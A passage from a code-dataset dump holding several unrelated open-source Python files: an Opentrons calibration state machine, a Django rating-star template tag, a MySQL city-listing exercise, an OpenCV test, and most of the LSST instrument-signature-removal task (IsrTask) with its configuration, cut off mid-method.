StateEnumType:\n return getattr(self._states, state_name)\n\n def update_state(self, state_name: StateEnumType):\n self._current_state = self._iterate_thru_relationships(state_name)\n\n def _iterate_thru_relationships(\n self, state_name: StateEnumType) -> StateEnumType:\n rel_list = [\n self._relationship,\n self._exit_relationship,\n self._error_relationship]\n for relationship in rel_list:\n next_state = self._find_next(state_name, relationship)\n if next_state != self.current_state:\n return next_state\n return self.current_state\n\n def _find_next(\n self, input: StateEnumType,\n relationship_enum: Relationship) -> StateEnumType:\n \"\"\"\n Next state will either check the input or the current state to see\n if it can find a relationship in any of the enum classes provided.\n \"\"\"\n output = relationship_enum.get(input)\n if output:\n return self.get_state(output.name)\n else:\n return self.get_state(input.name)\n\n @property\n def current_state(self) -> StateEnumType:\n return self._current_state\n\n @property\n def next_state(self) -> StateEnumType:\n \"\"\"\n The next state based on current state only. For session status msg.\n \"\"\"\n return self._iterate_thru_relationships(self.current_state)\n\n\nclass CalibrationCheckMachine(StateMachine[CalibrationCheckState]):\n def __init__(self) -> None:\n super().__init__(CalibrationCheckState,\n check_normal_relationship_dict,\n check_exit_relationship_dict,\n check_error_relationship_dict,\n CalibrationCheckState.sessionStart)\n","sub_path":"api/src/opentrons/server/endpoints/calibration/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"613920303","text":"from django import template\n\nfrom ..models import Course\n\n\nregister = template.Library()\n\n\n@register.inclusion_tag('courses/includes/stars.html')\ndef show_html_rating_stars(course, small=False):\n rating = course.get_rating\n star = round(rating * 2) / 2\n half = False if star%1 == 0 else True\n not_star = 4 - int(star) if half else 5 - int(star)\n return {\n 'rating': rating,\n 'star': star,\n 'course': course,\n 'half': half,\n 'not_star': not_star,\n 'small': small,\n }\n\n","sub_path":"apps/courses/templatetags/courses.py","file_name":"courses.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"580510993","text":"#!/usr/bin/python3\n\"\"\"List all cities from DB\"\"\"\n\n\nif __name__ == \"__main__\":\n import MySQLdb\n from sys import argv\n\n db_connection = MySQLdb.connect(\"localhost\",\n argv[1],\n argv[2],\n argv[3])\n\n with db_connection.cursor() as cursor:\n\n cursor.execute(\"\"\"SELECT cities.id, cities.name, states.name FROM cities\n JOIN states ON cities.state_id = states.id\"\"\")\n\n cities = cursor.fetchall()\n\n for h in range(len(cities)):\n print(cities[h])\n","sub_path":"0x0F-python-object_relational_mapping/4-cities_by_state.py","file_name":"4-cities_by_state.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"487376696","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport cv2\nimport numpy as np\n\n\ndef read_image():\n img = cv2.imread('/Users/taodekun/Desktop/qqqq.png')\n h, w = img.shape[:2]\n out_image = np.zeros((h * 100, w * 100, 3), dtype=np.uint8)\n cv2.imshow('out_image', out_image)\n print(img.shape)\n\n\nif __name__ == '__main__':\n read_image()\n","sub_path":"photomosaic/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"364990866","text":"#\n# LSST Data Management System\n# Copyright 2008-2016 AURA/LSST.\n#\n# This product includes software developed by the\n# LSST Project (http://www.lsst.org/).\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the LSST License Statement and\n# the GNU General Public License along with this program. If not,\n# see .\n#\nimport math\nimport numpy\n\nimport lsst.afw.geom as afwGeom\nimport lsst.afw.image as afwImage\nimport lsst.meas.algorithms as measAlg\nimport lsst.pex.config as pexConfig\nimport lsst.pipe.base as pipeBase\nimport lsst.afw.math as afwMath\nfrom lsst.daf.persistence import ButlerDataRef\nfrom lsstDebug import getDebugFrame\nfrom lsst.afw.display import getDisplay\nfrom . import isrFunctions\nfrom .assembleCcdTask import AssembleCcdTask\nfrom .fringe import FringeTask\nfrom lsst.afw.geom import Polygon\nfrom lsst.afw.geom.wcsUtils import makeDistortedTanWcs\nfrom lsst.afw.cameraGeom import PIXELS, FOCAL_PLANE, FIELD_ANGLE, NullLinearityType\nfrom contextlib import contextmanager\nfrom .isr import maskNans\nfrom .crosstalk import CrosstalkTask\n\n\nclass IsrTaskConfig(pexConfig.Config):\n doBias = pexConfig.Field(\n dtype=bool,\n doc=\"Apply bias frame correction?\",\n default=True,\n )\n doDark = pexConfig.Field(\n dtype=bool,\n doc=\"Apply dark frame correction?\",\n default=True,\n )\n doFlat = pexConfig.Field(\n dtype=bool,\n doc=\"Apply flat field correction?\",\n default=True,\n )\n doFringe = pexConfig.Field(\n dtype=bool,\n doc=\"Apply fringe correction?\",\n default=True,\n )\n doDefect = pexConfig.Field(\n dtype=bool,\n doc=\"Apply correction for CCD defects, e.g. hot pixels?\",\n default=True,\n )\n doAddDistortionModel = pexConfig.Field(\n dtype=bool,\n doc=\"Apply a distortion model based on camera geometry to the WCS?\",\n default=True,\n )\n doWrite = pexConfig.Field(\n dtype=bool,\n doc=\"Persist postISRCCD?\",\n default=True,\n )\n biasDataProductName = pexConfig.Field(\n dtype=str,\n doc=\"Name of the bias data product\",\n default=\"bias\",\n )\n darkDataProductName = pexConfig.Field(\n dtype=str,\n doc=\"Name of the dark data product\",\n default=\"dark\",\n )\n flatDataProductName = pexConfig.Field(\n dtype=str,\n doc=\"Name of the flat data product\",\n default=\"flat\",\n )\n assembleCcd = pexConfig.ConfigurableField(\n target=AssembleCcdTask,\n doc=\"CCD assembly task\",\n )\n gain = pexConfig.Field(\n dtype=float,\n doc=\"The gain to use if no Detector is present in the Exposure (ignored if NaN)\",\n default=float(\"NaN\"),\n )\n readNoise = pexConfig.Field(\n dtype=float,\n doc=\"The read noise to use if no Detector is present in the Exposure\",\n default=0.0,\n )\n saturation = pexConfig.Field(\n dtype=float,\n doc=\"The saturation level to use if no Detector is present in the Exposure (ignored if NaN)\",\n default=float(\"NaN\"),\n )\n fringeAfterFlat = pexConfig.Field(\n dtype=bool,\n doc=\"Do fringe subtraction after flat-fielding?\",\n default=True,\n )\n fringe = pexConfig.ConfigurableField(\n target=FringeTask,\n doc=\"Fringe subtraction task\",\n )\n fwhm = pexConfig.Field(\n dtype=float,\n doc=\"FWHM of PSF (arcsec)\",\n default=1.0,\n )\n saturatedMaskName = pexConfig.Field(\n dtype=str,\n doc=\"Name of mask plane to use in saturation detection and interpolation\",\n default=\"SAT\",\n )\n suspectMaskName = pexConfig.Field(\n dtype=str,\n doc=\"Name of mask plane to use for suspect pixels\",\n default=\"SUSPECT\",\n )\n flatScalingType = pexConfig.ChoiceField(\n dtype=str,\n doc=\"The method for scaling the flat on the fly.\",\n default='USER',\n allowed={\n \"USER\": \"Scale by flatUserScale\",\n \"MEAN\": \"Scale by the inverse of the mean\",\n \"MEDIAN\": \"Scale by the inverse of the median\",\n },\n )\n flatUserScale = pexConfig.Field(\n dtype=float,\n doc=\"If flatScalingType is 'USER' then scale flat by this amount; ignored otherwise\",\n default=1.0,\n )\n overscanFitType = pexConfig.ChoiceField(\n dtype=str,\n doc=\"The method for fitting the overscan bias level.\",\n default='MEDIAN',\n allowed={\n \"POLY\": \"Fit ordinary polynomial to the longest axis of the overscan region\",\n \"CHEB\": \"Fit Chebyshev polynomial to the longest axis of the overscan region\",\n \"LEG\": \"Fit Legendre polynomial to the longest axis of the overscan region\",\n \"NATURAL_SPLINE\": \"Fit natural spline to the longest axis of the overscan region\",\n \"CUBIC_SPLINE\": \"Fit cubic spline to the longest axis of the overscan region\",\n \"AKIMA_SPLINE\": \"Fit Akima spline to the longest axis of the overscan region\",\n \"MEAN\": \"Correct using the mean of the overscan region\",\n \"MEDIAN\": \"Correct using the median of the overscan region\",\n },\n )\n overscanOrder = pexConfig.Field(\n dtype=int,\n doc=(\"Order of polynomial or to fit if overscan fit type is a polynomial, \" +\n \"or number of spline knots if overscan fit type is a spline.\"),\n default=1,\n )\n overscanRej = pexConfig.Field(\n dtype=float,\n doc=\"Rejection threshold (sigma) for collapsing overscan before fit\",\n default=3.0,\n )\n growSaturationFootprintSize = pexConfig.Field(\n dtype=int,\n doc=\"Number of pixels by which to grow the saturation footprints\",\n default=1,\n )\n doSaturationInterpolation = pexConfig.Field(\n dtype=bool,\n doc=\"Perform interpolation over pixels masked as saturated?\",\n default=True,\n )\n doNanInterpAfterFlat = pexConfig.Field(\n dtype=bool,\n doc=(\"If True, ensure we interpolate NaNs after flat-fielding, even if we \"\n \"also have to interpolate them before flat-fielding.\"),\n default=False,\n )\n fluxMag0T1 = pexConfig.Field(\n dtype=float,\n doc=\"The approximate flux of a zero-magnitude object in a one-second exposure\",\n default=1e10,\n )\n keysToRemoveFromAssembledCcd = pexConfig.ListField(\n dtype=str,\n doc=\"fields to remove from the metadata of the assembled ccd.\",\n default=[],\n )\n doAssembleIsrExposures = pexConfig.Field(\n dtype=bool,\n default=False,\n doc=\"Assemble amp-level calibration exposures into ccd-level exposure?\"\n )\n doAssembleCcd = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Assemble amp-level exposures into a ccd-level exposure?\"\n )\n expectWcs = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Expect input science images to have a WCS (set False for e.g. spectrographs)\"\n )\n doLinearize = pexConfig.Field(\n dtype=bool,\n doc=\"Correct for nonlinearity of the detector's response?\",\n default=True,\n )\n doCrosstalk = pexConfig.Field(\n dtype=bool,\n doc=\"Apply intra-CCD crosstalk correction?\",\n default=False,\n )\n crosstalk = pexConfig.ConfigurableField(\n target=CrosstalkTask,\n doc=\"Intra-CCD crosstalk correction\",\n )\n doBrighterFatter = pexConfig.Field(\n dtype=bool,\n default=False,\n doc=\"Apply the brighter fatter correction\"\n )\n brighterFatterKernelFile = pexConfig.Field(\n dtype=str,\n default='',\n doc=\"Kernel file used for the brighter fatter correction\"\n )\n brighterFatterMaxIter = pexConfig.Field(\n dtype=int,\n default=10,\n doc=\"Maximum number of iterations for the brighter fatter correction\"\n )\n brighterFatterThreshold = pexConfig.Field(\n dtype=float,\n default=1000,\n doc=\"Threshold used to stop iterating the brighter fatter correction. It is the \"\n \" absolute value of the difference between the current corrected image and the one\"\n \" from the previous iteration summed over all the pixels.\"\n )\n brighterFatterApplyGain = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Should the gain be applied when applying the brighter fatter correction?\"\n )\n datasetType = pexConfig.Field(\n dtype=str,\n doc=\"Dataset type for input data; users will typically leave this alone, \"\n \"but camera-specific ISR tasks will override it\",\n default=\"raw\",\n )\n fallbackFilterName = pexConfig.Field(dtype=str,\n doc=\"Fallback default filter name for calibrations\", optional=True)\n doAttachTransmissionCurve = pexConfig.Field(\n dtype=bool,\n default=False,\n doc=\"Construct and attach a wavelength-dependent throughput curve for this CCD image?\"\n )\n doUseOpticsTransmission = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Load and use transmission_optics (if doAttachTransmissionCurve is True)?\"\n )\n doUseFilterTransmission = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Load and use transmission_filter (if doAttachTransmissionCurve is True)?\"\n )\n doUseSensorTransmission = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Load and use transmission_sensor (if doAttachTransmissionCurve is True)?\"\n )\n doUseAtmosphereTransmission = pexConfig.Field(\n dtype=bool,\n default=True,\n doc=\"Load and use transmission_atmosphere (if doAttachTransmissionCurve is True)?\"\n )\n doEmpiricalReadNoise = pexConfig.Field(\n dtype=bool,\n default=False,\n doc=\"Calculate empirical read noise instead of value from AmpInfo data?\"\n )\n\n## @addtogroup LSST_task_documentation\n## @{\n## @page IsrTask\n## @ref IsrTask_ \"IsrTask\"\n## @copybrief IsrTask\n## @}\n\n\nclass IsrTask(pipeBase.CmdLineTask):\n \"\"\"!\n @anchor IsrTask_\n\n @brief Apply common instrument signature correction algorithms to a raw frame.\n\n @section ip_isr_isr_Contents Contents\n\n - @ref ip_isr_isr_Purpose\n - @ref ip_isr_isr_Initialize\n - @ref ip_isr_isr_IO\n - @ref ip_isr_isr_Config\n - @ref ip_isr_isr_Debug\n\n\n @section ip_isr_isr_Purpose Description\n\n The process for correcting imaging data is very similar from camera to camera.\n This task provides a vanilla implementation of doing these corrections, including\n the ability to turn certain corrections off if they are not needed.\n The inputs to the primary method, run, are a raw exposure to be corrected and the\n calibration data products. The raw input is a single chip sized mosaic of all amps\n including overscans and other non-science pixels.\n The method runDataRef() is intended for use by a lsst.pipe.base.cmdLineTask.CmdLineTask\n and takes as input only a daf.persistence.butlerSubset.ButlerDataRef.\n This task may not meet all needs and it is expected that it will be subclassed for\n specific applications.\n\n @section ip_isr_isr_Initialize Task initialization\n\n @copydoc \\_\\_init\\_\\_\n\n @section ip_isr_isr_IO Inputs/Outputs to the run method\n\n @copydoc run\n\n @section ip_isr_isr_Config Configuration parameters\n\n See @ref IsrTaskConfig\n\n @section ip_isr_isr_Debug Debug variables\n\n The @link lsst.pipe.base.cmdLineTask.CmdLineTask command line task@endlink interface supports a\n flag @c --debug, @c -d to import @b debug.py from your @c PYTHONPATH; see \n Using lsstDebug to control debugging output for more about @b debug.py files.\n\n The available variables in IsrTask are:\n
    \n
    @c display\n
    A dictionary containing debug point names as keys with frame number as value. Valid keys are:\n
    \n
    postISRCCD\n
    display exposure after ISR has been applied\n
    \n
    \n\n For example, put something like\n @code{.py}\n import lsstDebug\n def DebugInfo(name):\n di = lsstDebug.getInfo(name) # N.b. lsstDebug.Info(name) would call us recursively\n if name == \"lsst.ip.isrFunctions.isrTask\":\n di.display = {'postISRCCD':2}\n return di\n lsstDebug.Info = DebugInfo\n @endcode\n into your debug.py file and run the commandline task with the @c --debug flag.\n\n
    \n \"\"\"\n ConfigClass = IsrTaskConfig\n _DefaultName = \"isr\"\n\n def __init__(self, *args, **kwargs):\n '''!Constructor for IsrTask\n @param[in] *args a list of positional arguments passed on to the Task constructor\n @param[in] **kwargs a dictionary of keyword arguments passed on to the Task constructor\n Call the lsst.pipe.base.task.Task.__init__ method\n Then setup the assembly and fringe correction subtasks\n '''\n pipeBase.Task.__init__(self, *args, **kwargs)\n self.makeSubtask(\"assembleCcd\")\n self.makeSubtask(\"fringe\")\n self.makeSubtask(\"crosstalk\")\n\n def readIsrData(self, dataRef, rawExposure):\n \"\"\"!Retrieve necessary frames for instrument signature removal\n @param[in] dataRef a daf.persistence.butlerSubset.ButlerDataRef\n of the detector data to be processed\n @param[in] rawExposure a reference raw exposure that will later be\n corrected with the retrieved calibration data;\n should not be modified in this method.\n @return a pipeBase.Struct with fields containing kwargs expected by run()\n - bias: exposure of bias frame\n - dark: exposure of dark frame\n - flat: exposure of flat field\n - defects: list of detects\n - fringeStruct: a pipeBase.Struct with field fringes containing\n exposure of fringe frame or list of fringe exposure\n \"\"\"\n ccd = rawExposure.getDetector()\n\n biasExposure = self.getIsrExposure(dataRef, self.config.biasDataProductName) \\\n if self.config.doBias else None\n # immediate=True required for functors and linearizers are functors; see ticket DM-6515\n linearizer = dataRef.get(\"linearizer\", immediate=True) if self.doLinearize(ccd) else None\n darkExposure = self.getIsrExposure(dataRef, self.config.darkDataProductName) \\\n if self.config.doDark else None\n flatExposure = self.getIsrExposure(dataRef, self.config.flatDataProductName) \\\n if self.config.doFlat else None\n brighterFatterKernel = dataRef.get(\"brighterFatterKernel\") if self.config.doBrighterFatter else None\n defectList = dataRef.get(\"defects\") if self.config.doDefect else None\n\n if self.config.doCrosstalk:\n crosstalkSources = self.crosstalk.prepCrosstalk(dataRef)\n else:\n crosstalkSources = None\n\n if self.config.doFringe and self.fringe.checkFilter(rawExposure):\n fringeStruct = self.fringe.readFringes(dataRef, assembler=self.assembleCcd\n if self.config.doAssembleIsrExposures else None)\n else:\n fringeStruct = pipeBase.Struct(fringes=None)\n\n if self.config.doAttachTransmissionCurve:\n opticsTransmission = (dataRef.get(\"transmission_optics\")\n if self.config.doUseOpticsTransmission else None)\n filterTransmission = (dataRef.get(\"transmission_filter\")\n if self.config.doUseFilterTransmission else None)\n sensorTransmission = (dataRef.get(\"transmission_sensor\")\n if self.config.doUseSensorTransmission else None)\n atmosphereTransmission = (dataRef.get(\"transmission_atmosphere\")\n if self.config.doUseAtmosphereTransmission else None)\n else:\n opticsTransmission = None\n filterTransmission = None\n sensorTransmission = None\n atmosphereTransmission = None\n\n # Struct should include only kwargs to run()\n return pipeBase.Struct(bias=biasExposure,\n linearizer=linearizer,\n dark=darkExposure,\n flat=flatExposure,\n defects=defectList,\n fringes=fringeStruct,\n bfKernel=brighterFatterKernel,\n opticsTransmission=opticsTransmission,\n filterTransmission=filterTransmission,\n sensorTransmission=sensorTransmission,\n atmosphereTransmission=atmosphereTransmission,\n crosstalkSources=crosstalkSources,\n )\n\n @pipeBase.timeMethod\n def run(self, ccdExposure, bias=None, linearizer=None, dark=None, flat=None, defects=None,\n fringes=None, bfKernel=None, camera=None,\n opticsTransmission=None, filterTransmission=None,\n sensorTransmission=None, atmosphereTransmission=None,\n crosstalkSources=None):\n \"\"\"!Perform instrument signature removal on an exposure\n\n Steps include:\n - Detect saturation, apply overscan correction, bias, dark and flat\n - Perform CCD assembly\n - Interpolate over defects, saturated pixels and all NaNs\n\n @param[in] ccdExposure lsst.afw.image.exposure of detector data\n @param[in] bias exposure of bias frame\n @param[in] linearizer linearizing functor; a subclass of lsst.ip.isrFunctions.LinearizeBase\n @param[in] dark exposure of dark frame\n @param[in] flat exposure of flatfield\n @param[in] defects list of detects\n @param[in] fringes a pipeBase.Struct with field fringes containing\n exposure of fringe frame or list of fringe exposure\n @param[in] bfKernel kernel for brighter-fatter correction\n @param[in] camera camera geometry, an lsst.afw.cameraGeom.Camera;\n used by addDistortionModel\n @param[in] opticsTransmission a TransmissionCurve for the optics\n @param[in] filterTransmission a TransmissionCurve for the filter\n @param[in] sensorTransmission a TransmissionCurve for the sensor\n @param[in] atmosphereTransmission a TransmissionCurve for the atmosphere\n @param[in] crosstalkSources a defaultdict used for DECam inter-CCD crosstalk\n\n @return a pipeBase.Struct with field:\n - exposure\n \"\"\"\n # parseAndRun expects to be able to call run() with a dataRef; see DM-6640\n if isinstance(ccdExposure, ButlerDataRef):\n return self.runDataRef(ccdExposure)\n\n ccd = ccdExposure.getDetector()\n\n # Validate Input\n if self.config.doBias and bias is None:\n raise RuntimeError(\"Must supply a bias exposure if config.doBias True\")\n if self.doLinearize(ccd) and linearizer is None:\n raise RuntimeError(\"Must supply a linearizer if config.doBias True\")\n if self.config.doDark and dark is None:\n raise RuntimeError(\"Must supply a dark exposure if config.doDark True\")\n if self.config.doFlat and flat is None:\n raise RuntimeError(\"Must supply a flat exposure if config.doFlat True\")\n if self.config.doBrighterFatter and bfKernel is None:\n raise RuntimeError(\"Must supply a kernel if config.doBrighterFatter True\")\n if fringes is None:\n fringes = pipeBase.Struct(fringes=None)\n if self.config.doFringe and not isinstance(fringes, pipeBase.Struct):\n raise RuntimeError(\"Must supply fringe exposure as a pipeBase.Struct\")\n if self.config.doDefect and defects is None:\n raise RuntimeError(\"Must supply defects if config.doDefect True\")\n if self.config.doAddDistortionModel and camera is None:\n raise RuntimeError(\"Must supply camera if config.doAddDistortionModel True\")\n\n ccdExposure = self.convertIntToFloat(ccdExposure)\n\n if not ccd:\n assert not self.config.doAssembleCcd, \"You need a Detector to run assembleCcd\"\n ccd = [FakeAmp(ccdExposure, self.config)]\n\n overscans = []\n for amp in ccd:\n # if ccdExposure is one amp, check for coverage to prevent performing ops multiple times\n if ccdExposure.getBBox().contains(amp.getBBox()):\n self.saturationDetection(ccdExposure, amp)\n self.suspectDetection(ccdExposure, amp)\n overscanResults = self.overscanCorrection(ccdExposure, amp)\n overscans.append(overscanResults.overscanImage if overscanResults is not None else None)\n else:\n overscans.append(None)\n\n if self.config.doCrosstalk:\n self.crosstalk.run(ccdExposure, crosstalkSources)\n\n if self.config.doAssembleCcd:\n ccdExposure = self.assembleCcd.assembleCcd(ccdExposure)\n if self.config.expectWcs and not ccdExposure.getWcs():\n self.log.warn(\"No WCS found in input exposure\")\n\n if self.config.doBias:\n self.biasCorrection(ccdExposure, bias)\n\n if self.doLinearize(ccd):\n linearizer(image=ccdExposure.getMaskedImage().getImage(), detector=ccd, log=self.log)\n\n assert len(ccd) == len(overscans)\n for amp, overscanImage in zip(ccd, overscans):\n # if ccdExposure is one amp, check for coverage to prevent performing ops multiple times\n if ccdExposure.getBBox().contains(amp.getBBox()):\n ampExposure = ccdExposure.Factory(ccdExposure, amp.getBBox())\n self.updateVariance(ampExposure, amp, overscanImage)\n\n interpolationDone = False\n\n if self.config.doBrighterFatter:\n\n # We need to apply flats and darks before we can interpolate, and we\n # need to interpolate before we do B-F, but we do B-F without the\n # flats and darks applied so we can work in units of electrons or holes.\n # This context manager applies and then removes the darks and flats.\n with self.flatContext(ccdExposure, flat, dark):\n if self.config.doDefect:\n self.maskAndInterpDefect(ccdExposure, defects)\n if self.config.doSaturationInterpolation:\n self.saturationInterpolation(ccdExposure)\n self.maskAndInterpNan(ccdExposure)\n interpolationDone = True\n\n self.brighterFatterCorrection(ccdExposure, bfKernel,\n self.config.brighterFatterMaxIter,\n self.config.brighterFatterThreshold,\n self.config.brighterFatterApplyGain,\n )\n\n if self.config.doDark:\n self.darkCorrection(ccdExposure, dark)\n\n if self.config.doFringe and not self.config.fringeAfterFlat:\n self.fringe.run(ccdExposure, **fringes.getDict())\n\n if self.config.doFlat:\n self.flatCorrection(ccdExposure, flat)\n\n if not interpolationDone:\n if self.config.doDefect:\n self.maskAndInterpDefect(ccdExposure, defects)\n if self.config.doSaturationInterpolation:\n self.saturationInterpolation(ccdExposure)\n if not interpolationDone or self.config.doNanInterpAfterFlat:\n self.maskAndInterpNan(ccdExposure)\n\n if self.config.doFringe and self.config.fringeAfterFlat:\n self.fringe.run(ccdExposure, **fringes.getDict())\n\n exposureTime = ccdExposure.getInfo().getVisitInfo().getExposureTime()\n ccdExposure.getCalib().setFluxMag0(self.config.fluxMag0T1*exposureTime)\n\n if self.config.doAddDistortionModel:\n self.addDistortionModel(exposure=ccdExposure, camera=camera)\n\n if self.config.doAttachTransmissionCurve:\n self.attachTransmissionCurve(ccdExposure, opticsTransmission=opticsTransmission,\n filterTransmission=filterTransmission,\n sensorTransmission=sensorTransmission,\n atmosphereTransmission=atmosphereTransmission)\n\n frame = getDebugFrame(self._display, \"postISRCCD\")\n if frame:\n getDisplay(frame).mtv(ccdExposure)\n\n return pipeBase.Struct(\n exposure=ccdExposure,\n )\n\n @pipeBase.timeMethod\n def runDataRef(self, sensorRef):\n \"\"\"Perform instrument signature removal on a ButlerDataRef of a Sensor\n\n - Read in necessary detrending/isr/calibration data\n - Process raw exposure in run()\n - Persist the ISR-corrected exposure as \"postISRCCD\" if config.doWrite is True\n\n Parameters\n ----------\n sensorRef : `daf.persistence.butlerSubset.ButlerDataRef`\n DataRef of the detector data to be processed\n\n Returns\n -------\n result : `pipeBase.Struct`\n Struct contains field \"exposure,\" which is the exposure after application of ISR\n \"\"\"\n self.log.info(\"Performing ISR on sensor %s\" % (sensorRef.dataId))\n ccdExposure = sensorRef.get('raw')\n camera = sensorRef.get(\"camera\")\n if camera is None and self.config.doAddDistortionModel:\n raise RuntimeError(\"config.doAddDistortionModel is True \"\n \"but could not get a camera from the butler\")\n isrData = self.readIsrData(sensorRef, ccdExposure)\n\n result = self.run(ccdExposure, camera=camera, **isrData.getDict())\n\n if self.config.doWrite:\n sensorRef.put(result.exposure, \"postISRCCD\")\n\n return result\n\n def convertIntToFloat(self, exposure):\n \"\"\"Convert an exposure from uint16 to float, set variance plane to 1 and mask plane to 0\n \"\"\"\n if isinstance(exposure, afwImage.ExposureF):\n # Nothing to be done\n return exposure\n if not hasattr(exposure, \"convertF\"):\n raise RuntimeError(\"Unable to convert exposure (%s) to float\" % type(exposure))\n\n newexposure = exposure.convertF()\n maskedImage = newexposure.getMaskedImage()\n varArray = maskedImage.getVariance().getArray()\n varArray[:, :] = 1\n maskArray = maskedImage.getMask().getArray()\n maskArray[:, :] = 0\n return newexposure\n\n def biasCorrection(self, exposure, biasExposure):\n \"\"\"!Apply bias correction in place\n\n @param[in,out] exposure exposure to process\n @param[in] biasExposure bias exposure of same size as exposure\n \"\"\"\n isrFunctions.biasCorrection(exposure.getMaskedImage(), biasExposure.getMaskedImage())\n\n def darkCorrection(self, exposure, darkExposure, invert=False):\n \"\"\"!Apply dark correction in place\n\n @param[in,out] exposure exposure to process\n @param[in] darkExposure dark exposure of same size as exposure\n @param[in] invert if True, remove the dark from an already-corrected image\n \"\"\"\n expScale = exposure.getInfo().getVisitInfo().getDarkTime()\n if math.isnan(expScale):\n raise RuntimeError(\"Exposure darktime is NAN\")\n darkScale = darkExposure.getInfo().getVisitInfo().getDarkTime()\n if math.isnan(darkScale):\n raise RuntimeError(\"Dark calib darktime is NAN\")\n isrFunctions.darkCorrection(\n maskedImage=exposure.getMaskedImage(),\n darkMaskedImage=darkExposure.getMaskedImage(),\n expScale=expScale,\n darkScale=darkScale,\n invert=invert\n )\n\n def doLinearize(self, detector):\n \"\"\"!Is linearization wanted for this detector?\n\n Checks config.doLinearize and the linearity type of the first amplifier.\n\n @param[in] detector detector information (an lsst.afw.cameraGeom.Detector)\n \"\"\"\n return self.config.doLinearize and \\\n detector.getAmpInfoCatalog()[0].getLinearityType() != NullLinearityType\n\n def updateVariance(self, ampExposure, amp, overscanImage=None):\n \"\"\"Set the variance plane using the amplifier gain and read noise\n\n The read noise is calculated from the ``overscanImage`` if the\n ``doEmpiricalReadNoise`` option is set in the configuration; otherwise\n the value from the amplifier data is used.\n\n Parameters\n ----------\n ampExposure : `lsst.afw.image.Exposure`\n Exposure to process.\n amp : `lsst.afw.table.AmpInfoRecord` or `FakeAmp`\n Amplifier detector data.\n overscanImage : `lsst.afw.image.MaskedImage`, optional.\n Image of overscan, required only for empirical read noise.\n \"\"\"\n maskPlanes = [self.config.saturatedMaskName, self.config.suspectMaskName]\n gain = amp.getGain()\n if not math.isnan(gain):\n if gain <= 0:\n patchedGain = 1.0\n self.log.warn(\"Gain for amp %s == %g <= 0; setting to %f\" %\n (amp.getName(), gain, patchedGain))\n gain = patchedGain\n\n if self.config.doEmpiricalReadNoise and overscanImage is not None:\n stats = afwMath.StatisticsControl()\n stats.setAndMask(overscanImage.mask.getPlaneBitMask(maskPlanes))\n readNoise = afwMath.makeStatistics(overscanImage, afwMath.STDEVCLIP, stats).getValue()\n self.log.info(\"Calculated empirical read noise for amp %s: %f\", amp.getName(), readNoise)\n else:\n readNoise = amp.getReadNoise()\n\n isrFunctions.updateVariance(\n maskedImage=ampExposure.getMaskedImage(),\n gain=gain,\n readNoise=readNoise,\n )\n\n def flatCorrection(self, exposure, flatExposure, invert=False):\n \"\"\"!Apply flat correction in place\n\n @param[in,out] exposure exposure to process\n @param[in] flatExposure flatfield exposure same size as exposure\n @param[in] invert if True, unflatten an already-flattened image instead.\n \"\"\"\n isrFunctions.flatCorrection(\n maskedImage=exposure.getMaskedImage(),\n flatMaskedImage=flatExposure.getMaskedImage(),\n scalingType=self.config.flatScalingType,\n userScale=self.config.flatUserScale,\n invert=invert\n )\n\n def getIsrExposure(self, dataRef, datasetType, immediate=True):\n \"\"\"!Retrieve a calibration dataset for removing instrument signature\n\n @param[in] dataRef data reference for exposure\n @param[in] datasetType type of dataset to retrieve (e.g. 'bias', 'flat')\n @param[in] immediate if True, disable butler proxies to enable error\n handling within this routine\n @return exposure\n \"\"\"\n try:\n exp = dataRef.get(datasetType, immediate=immediate)\n except Exception as exc1:\n if not self.config.fallbackFilterName:\n raise RuntimeError(\"Unable to retrieve %s for %s: %s\" % (datasetType, dataRef.dataId, exc1))\n try:\n exp = dataRef.get(datasetType, filter=self.config.fallbackFilterName, immediate=immediate)\n except Exception as exc2:\n raise RuntimeError(\"Unable to retrieve %s for %s, even with fallback filter %s: %s AND %s\" %\n (datasetType, dataRef.dataId, self.config.fallbackFilterName, exc1, exc2))\n self.log.warn(\"Using fallback calibration from filter %s\" % self.config.fallbackFilterName)\n\n if self.config.doAssembleIsrExposures:\n exp = self.assembleCcd.assembleCcd(exp)\n return exp\n\n def saturationDetection(self, exposure, amp):\n \"\"\"!Detect saturated pixels and mask them using mask plane config.saturatedMaskName, in place\n\n @param[in,out] exposure exposure to process; only the amp DataSec is processed\n @param[in] amp amplifier device data\n \"\"\"\n if not math.isnan(amp.getSaturation()):\n maskedImage = exposure.getMaskedImage()\n dataView = maskedImage.Factory(maskedImage, amp.getRawBBox())\n isrFunctions.makeThresholdMask(\n maskedImage=dataView,\n threshold=amp.getSaturation(),\n growFootprints=0,\n maskName=self.config.saturatedMaskName,\n )\n\n def saturationInterpolation(self, ccdExposure):\n \"\"\"!Interpolate over saturated pixels, in place\n\n @param[in,out] ccdExposure exposure to process\n\n @warning:\n - Call saturationDetection first, so that saturated pixels have been identified in the \"SAT\" mask.\n - Call this after CCD assembly, since saturated regions may cross amplifier boundaries\n \"\"\"\n isrFunctions.interpolateFromMask(\n maskedImage=ccdExposure.getMaskedImage(),\n fwhm=self.config.fwhm,\n growFootprints=self.config.growSaturationFootprintSize,\n maskName=self.config.saturatedMaskName,\n )\n\n def suspectDetection(self, exposure, amp):\n 